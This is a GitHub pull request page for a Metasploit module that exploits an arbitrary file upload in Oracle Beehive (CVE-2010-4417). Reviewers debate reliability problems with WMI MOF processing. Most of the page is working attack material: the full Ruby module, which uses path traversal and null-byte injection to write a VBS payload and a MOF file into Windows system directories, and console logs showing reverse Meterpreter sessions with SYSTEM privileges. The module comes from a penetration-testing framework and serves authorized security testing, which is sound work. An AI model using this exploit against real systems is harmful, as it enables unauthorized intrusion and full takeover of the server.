Skip to content

HTTPS clone URL

Subversion checkout URL

You can clone with HTTPS or Subversion.

Download ZIP

Loading…

Added module for ZDI-11-020 #1060

Closed
wants to merge 3 commits into from

4 participants

@jvazquez-r7
Collaborator

My test on Oracle Beehive 2.0.1.0 / Windows 2003 SP2 :

     ,           ,
    /             \
   ((__---,,,---__))
      (_) O O (_)_________
         \ _ /            |\
          o_o \   M S F   | \
               \   _____  |  *
                |||   WW|||
                |||     |||


       =[ metasploit v4.5.0-dev [core:4.5 api:1.0]
+ -- --=[ 1027 exploits - 535 auxiliary - 164 post
+ -- --=[ 262 payloads - 28 encoders - 8 nops

msf > use exploit/windows/oracle/beehive_upload 
msf  exploit(beehive_upload) > show options

Module options (exploit/windows/oracle/beehive_upload):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   Proxies                   no        Use a proxy chain
   RHOST                     yes       The target address
   RPORT    7777             yes       The target port
   VHOST                     no        HTTP server virtual host


Exploit target:

   Id  Name
   --  ----
   0   Oracle Beehive 2.0.1.0 / Windows 2003 SP2


msf  exploit(beehive_upload) > set RHOST 192.168.1.178
RHOST => 192.168.1.178
msf  exploit(beehive_upload) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.1.129:4444 
[*] Encoding payload into exe...
[*] Generating mof file...
[*] Uploading the payload to c:\WINDOWS\system32\NamvzA.vbs...
[+] Payload successfully uploaded
[*] Uploading the MOF file to c:\WINDOWS\system32\wbem\mof\ZoEKSH.mof...
[+] MOF file successfully uploaded
[*] Sending stage (752128 bytes) to 192.168.1.178
[*] Meterpreter session 1 opened (192.168.1.129:4444 -> 192.168.1.178:2595) at 2012-11-13 15:46:05 +0100
[!] Deleting the exe payload "NamvzA.vbs" ...
[!] Deleting the mof file "ZoEKSH.mof" ...

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : JUAN-6ED9DB6CA8
OS              : Windows .NET Server (Build 3790, Service Pack 2).
Architecture    : x86
System Language : en_US
Meterpreter     : x86/win32
meterpreter > exit
[*] Shutting down Meterpreter...

@wchen-r7
Collaborator

Code review in progress...

modules/exploits/windows/oracle/beehive_upload.rb
((31 lines not shown))
+ '1c239c43f521145fa8385d64a9c32243', # Vulnerability discovery
+ 'juan vazquez' # Metasploit module
+ ],
+ 'License' => MSF_LICENSE,
+ 'References' =>
+ [
+ [ 'CVE', '2010-4417' ],
+ [ 'OSVDB', '70552' ],
+ [ 'BID', '45854' ],
+ [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-020/' ],
+ [ 'URL', 'http://www.oracle.com/technetwork/topics/security/cpujan2011-194091.html' ]
+ ],
+
+ 'DefaultOptions' =>
+ {
+ 'WfsDelay' => 20
@wchen-r7 Collaborator

This is never really long enough for me. The exploit drops the vbs and mof file, and then I just keep on waiting until the module expires -- no shell. I tried to drop a random file in the mof directory, and that seemed to speed it up for some reason. It doesn't make much sense to me why that helped, but right now I'm having a hard time investigating further, because after a reboot my box is no longer serving Beehive even though the port is listening. What a b*tch to test.

@jvazquez-r7 Collaborator

Really I needed to add this delay because my test machine was consuming resources heavily after installing oracle and beehive. With this delay, finally, was sufficient to let the WMI service to process the mof file. My hope is this delay wouldn't be really necessary in a production environment. My test machine was really heavy loaded running Oracle Database and Beehive.

@wchen-r7 Collaborator

My problem is probably due to the same reason. I'll try something else.

@wchen-r7 Collaborator

Well, the installation ate up more than 5GB of memory, ran out, and then caused the installer to fail. Probably not a good idea to have Oracle database and BeeHive in the same box, although that seems to speed up installation. Annoying.

@wchen-r7 Collaborator

I finally painfully setup another.... it appears this is a prob. I've only used up no more than 50% of ram, 1% CPU usage during exploitation, yet the mof file just sits there.

@wchen-r7 Collaborator

I just verified again that if I drop a random text file, the mof file will be processed right away. If not, it can be sitting there forever.....

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
@wchen-r7
Collaborator

So after additional testings, we've decided to hold. Apparently the mof file is locked after upload, and that's most likely why it won't execute right away, causing the exploit to expire without a shell. During our experiment, we notice the best way is to upload the the mof, wait 3 minutes, and then drop another random file (ie. txt), and then both files (the mof and the random file) will be processed, and then we get a shell. If we drop the random file too soon, then it will end up only processing the txt file, and not the mof one. However, we're not entirely satisfied with that condition, so we're still looking for ways to get around that...

@corelanc0d3r

does it have to be a txt file ? would a second mof file work too ?

@wchen-r7
Collaborator

A second mof should work. When Juan was testing it, he ran rexploit instead of dropping a txt file. The biggest problem is java locking it up. The second file drop kinda just "wakes" Windows to finally do something about the files sitting in the "mof" directory.

You wanna try? Beehive is quite a hassle to setup :-)

@corelanc0d3r

haha no :)

so since the second file gets processed immediately, isn't there a way to drop the mof twice, in the same routine, with a few seconds of delay ?

@wchen-r7
Collaborator

Based on our experiment, it's best to drop another file every 3 minutes. If you do it too quick, you end up waiting even longer for it to finally execute the shell. For example, at one point I would drop a random file every 30 seconds, and I ended up waiting 5 minutes to see a shell. I also tried every 60 seconds, still had to wait 3 minutes in the end.

jvazquez-r7 test #1076 6d9ca58
@jvazquez-r7
Collaborator

bah! Im going super annoyed, after recovering this topic, I'm not able of experiencing the locking issues again, just using WfsDelay to 180 is sufficient.... and the mof file can be moved to the "good" dir without locking problems :-(

Anyway, at least I've used to test #1076 successfully

msf  exploit(beehive_upload) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.1.129:4444 
[*] Encoding payload into exe...
[*] Generating mof file...
[*] Uploading the payload to c:\WINDOWS\system32\qNucH.vbs...
[+] Payload successfully uploaded
[*] Uploading the MOF file to c:\WINDOWS\system32\wbem\mof\CSvIoF.mof...
[+] MOF file successfully uploaded
[*] Waiting for shell...
[*] Sending stage (752128 bytes) to 192.168.1.178
[*] Meterpreter session 3 opened (192.168.1.129:4444 -> 192.168.1.178:4174) at 2012-11-19 19:28:42 +0100
[+] Deleted c:\windows\system32\qNucH.vbs
[!] This exploit may require manual cleanup of: c:\windows\system32\wbem\mof\good\CSvIoF.mof

meterpreter > cd c:\\windows\\system32\\wbem\\mof\\good
meterpreter > ls CSvIoF.mof
100444/r--r--r--  2191  fil  2012-11-19 19:27:33 +0100  CSvIoF.mof
meterpreter > rm CSvIoF.mof
[-] stdapi_fs_delete_file: Operation failed: Access is denied.
meterpreter > exit
[*] Shutting down Meterpreter...


@jvazquez-r7
Collaborator

BTW, the module can't be merged without merging #1076 first atm!!!!

modules/exploits/windows/oracle/beehive_upload.rb
((116 lines not shown))
+
+ def exploit
+
+ @var_mof_name = rand_text_alpha(rand(5)+5)
+ @var_vbs_name = rand_text_alpha(rand(5)+5)
+ session = rand_text_alpha(rand(5)+5)
+
+ print_status("Encoding payload into exe...")
+
+ exe = generate_payload_exe
+ vbs = Msf::Util::EXE.to_exe_vbs(exe)
+
+ print_status("Generating mof file...")
+ mof_content = generate_mof("#{@var_mof_name}.mof", "#{@var_vbs_name}.vbs")
+ register_file_for_cleanup("c:\\windows\\system32\\#{@var_vbs_name}.vbs")
+ register_file_for_cleanup("c:\\windows\\system32\\wbem\\mof\\good\\#{@var_mof_name}.mof")
@jlee-r7 Collaborator
jlee-r7 added a note

This won't be right on systems where %SystemDrive% isn't C:

@jvazquez-r7 Collaborator

Yes sure, but it's being done in this way in other wbem modules, so just testing the FileDropper mixin. About this modules, I'm more worried about lock issues I'm not being able to full understand / avoid :( Anyway, I'm going to fix :)

@jlee-r7 Collaborator
jlee-r7 added a note

Making PrependMigrate (#939) a standard option on Windows payloads and defaulting it to true in Exploit::EXE would solve that problem.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
@jvazquez-r7
Collaborator

Test after fix jlee warning:

msf  exploit(beehive_upload) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.1.129:4444 
[*] Encoding payload into exe...
[*] Generating mof file...
[*] Uploading the payload to c:\WINDOWS\system32\BIAfKDKqz.vbs...
[+] Payload successfully uploaded
[*] Uploading the MOF file to c:\WINDOWS\system32\wbem\mof\DNnXGp.mof...
[+] MOF file successfully uploaded
[*] Waiting for shell...
[*] Sending stage (752128 bytes) to 192.168.1.178
[*] Meterpreter session 1 opened (192.168.1.129:4444 -> 192.168.1.178:4508) at 2012-11-19 20:49:39 +0100
[+] Deleted BIAfKDKqz.vbs
[!] This exploit may require manual cleanup of: wbem\mof\good\DNnXGp.mof

meterpreter > pwd
C:\WINDOWS\system32
meterpreter > 
@wchen-r7
Collaborator

I'll take a look at this again today or tomorrow...

@wchen-r7
Collaborator

Weird. Your beehive_upload branch for some reason is gone. I can't pull it if it's not there.

@jvazquez-r7
Collaborator

My fault, beehive_upload branch is available again!

@wchen-r7
Collaborator

So last time I tested, I got a 500... not sure why. I'm not entirely confident putting this in master, because the lag is kind of spooky and we've never really found the root cause of that issue (at least I don't recall that we have). So I'm gonna sit this in the unstable branch for now, and then I'll come back to it again with a new box. Sorry Juan.

@wchen-r7 wchen-r7 closed this
@jvazquez-r7
Collaborator

np, sounds good for me!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Commits on Nov 13, 2012
  1. Added module for ZDI-11-020

    jvazquez-r7 authored
Commits on Nov 19, 2012
  1. test #1076

    jvazquez-r7 authored
  2. fix paths for fs cleanup

    jvazquez-r7 authored
This page is out of date. Refresh to see the latest.
Showing with 163 additions and 0 deletions.
  1. +163 −0 modules/exploits/windows/oracle/beehive_upload.rb
View
163 modules/exploits/windows/oracle/beehive_upload.rb
@@ -0,0 +1,163 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# web site for more information on licensing and terms of use.
+# http://metasploit.com/
+##
+
+require 'msf/core'
+require 'msf/core/exploit/file_dropper'
+
+class Metasploit3 < Msf::Exploit::Remote
+ Rank = ExcellentRanking
+
+ HttpFingerprint = { :pattern => [ /Oracle-Application-Server-10g/ ] }
+
+ include Msf::Exploit::Remote::HttpClient
+ include Msf::Exploit::EXE
+ include Msf::Exploit::WbemExec
+ include Msf::Exploit::FileDropper
+
+ def initialize(info = {})
+ super(update_info(info,
+ 'Name' => 'Oracle Beehive voice-servlet Arbitrary File Upload',
+ 'Description' => %q{
+ This module exploits an arbitrary file upload flaw in Oracle Beehive. The
+ problem exists in the Include.jspf component in the voice-servlet application. The
+ module has been tested successfully on Oracle Beehive 2.0.1.0 over Windows 2003
+ SP2, where the Windows Management Instrumentation service has been used to achieve
+ arbitrary code execution.
+ },
+ 'Author' =>
+ [
+ '1c239c43f521145fa8385d64a9c32243', # Vulnerability discovery
+ 'juan vazquez' # Metasploit module
+ ],
+ 'License' => MSF_LICENSE,
+ 'References' =>
+ [
+ [ 'CVE', '2010-4417' ],
+ [ 'OSVDB', '70552' ],
+ [ 'BID', '45854' ],
+ [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-020/' ],
+ [ 'URL', 'http://www.oracle.com/technetwork/topics/security/cpujan2011-194091.html' ]
+ ],
+ 'DefaultOptions' =>
+ {
+ 'WfsDelay' => 180
+ },
+ 'Platform' => 'win',
+ 'Privileged' => true,
+ 'Targets' =>
+ [
+ [ 'Oracle Beehive 2.0.1.0 / Windows 2003 SP2',
+ {},
+ ]
+ ],
+ 'DefaultTarget' => 0,
+ 'DisclosureDate' => 'Jan 18 2011'))
+
+ register_options(
+ [
+ Opt::RPORT(7777),
+ OptInt.new('DEPTH', [true, 'Traversal depth to reach the root', 12])
+ ], self.class)
+ end
+
+ def upload_file(session, path, contents)
+ post_data = "sess=#{session}&"
+ post_data << "recxml=#{path}%00&"
+ post_data << "wavfile=#{rand_text_alpha(rand(5)+5)}&"
+ post_data << "prevwavfile=#{rand_text_alpha(rand(5)+5)}&"
+ post_data << "audiopath=#{rand_text_alpha(rand(5)+5)}&"
+ post_data << "evaluation=#{Rex::Text.uri_encode(contents)}"
+
+ res = send_request_cgi(
+ {
+ 'uri' => "/voice-servlet/prompt-qa/showRecxml.jsp",
+ 'method' => 'POST',
+ 'data' => post_data,
+ })
+
+ return res
+ end
+
+ def check
+
+ file_name = rand_text_alpha(rand(5)+5)
+ file_contents = rand_text_alpha(rand(20)+20)
+ session = rand_text_alpha(rand(5)+5)
+
+ print_status("Uploading the #{file_name}.txt file")
+
+ res = upload_file(session, "#{file_name}.txt", file_contents)
+
+ if not res or res.code != 200 or res.body !~ /RECXML Prompt Tester/ or res.body !~ /#{session}/
+ print_error("The test file could not be uploaded")
+ return Exploit::CheckCode::Safe
+ end
+
+ print_status("Checking uploaded contents...")
+
+ res = send_request_cgi(
+ {
+ 'uri' => "/voice-servlet/prompt-qa/results/#{file_name}.txt",
+ 'method' => 'GET'
+ })
+
+ if res and res.code == 200 and res.body =~ /#{file_contents}/
+ return Exploit::CheckCode::Vulnerable
+ end
+
+ return Exploit::CheckCode::Safe
+
+ end
+
+
+ def exploit
+
+ @var_mof_name = rand_text_alpha(rand(5)+5)
+ @var_vbs_name = rand_text_alpha(rand(5)+5)
+ session = rand_text_alpha(rand(5)+5)
+
+ print_status("Encoding payload into exe...")
+
+ exe = generate_payload_exe
+ vbs = Msf::Util::EXE.to_exe_vbs(exe)
+
+ print_status("Generating mof file...")
+ mof_content = generate_mof("#{@var_mof_name}.mof", "#{@var_vbs_name}.vbs")
+ register_file_for_cleanup("#{@var_vbs_name}.vbs")
+ register_file_for_cleanup("wbem\\mof\\good\\#{@var_mof_name}.mof")
+
+ traversal = "..\\" * datastore['DEPTH']
+
+ print_status("Uploading the payload to c:\\WINDOWS\\system32\\#{@var_vbs_name}.vbs...")
+
+ res = upload_file(session, "#{traversal}\\WINDOWS\\system32\\#{@var_vbs_name}.vbs", vbs)
+
+ if res and res.code == 200 and res.body =~ /RECXML Prompt Tester/ and res.body =~ /#{session}/
+ print_good("Payload successfully uploaded")
+ else
+ print_error("Error uploading the Payload")
+ return
+ end
+
+
+ print_status("Uploading the MOF file to c:\\WINDOWS\\system32\\wbem\\mof\\#{@var_mof_name}.mof...")
+
+ res = upload_file(session, "#{traversal}WINDOWS\\system32\\wbem\\mof\\#{@var_mof_name}.mof", mof_content)
+
+ if res and res.code == 200 and res.body =~ /RECXML Prompt Tester/ and res.body =~ /#{session}/
+ print_good("MOF file successfully uploaded")
+ else
+ print_error("Error uploading the MOF file")
+ return
+ end
+
+ print_status("Waiting for shell...")
+
+ end
+
+
+end
Something went wrong with that request. Please try again.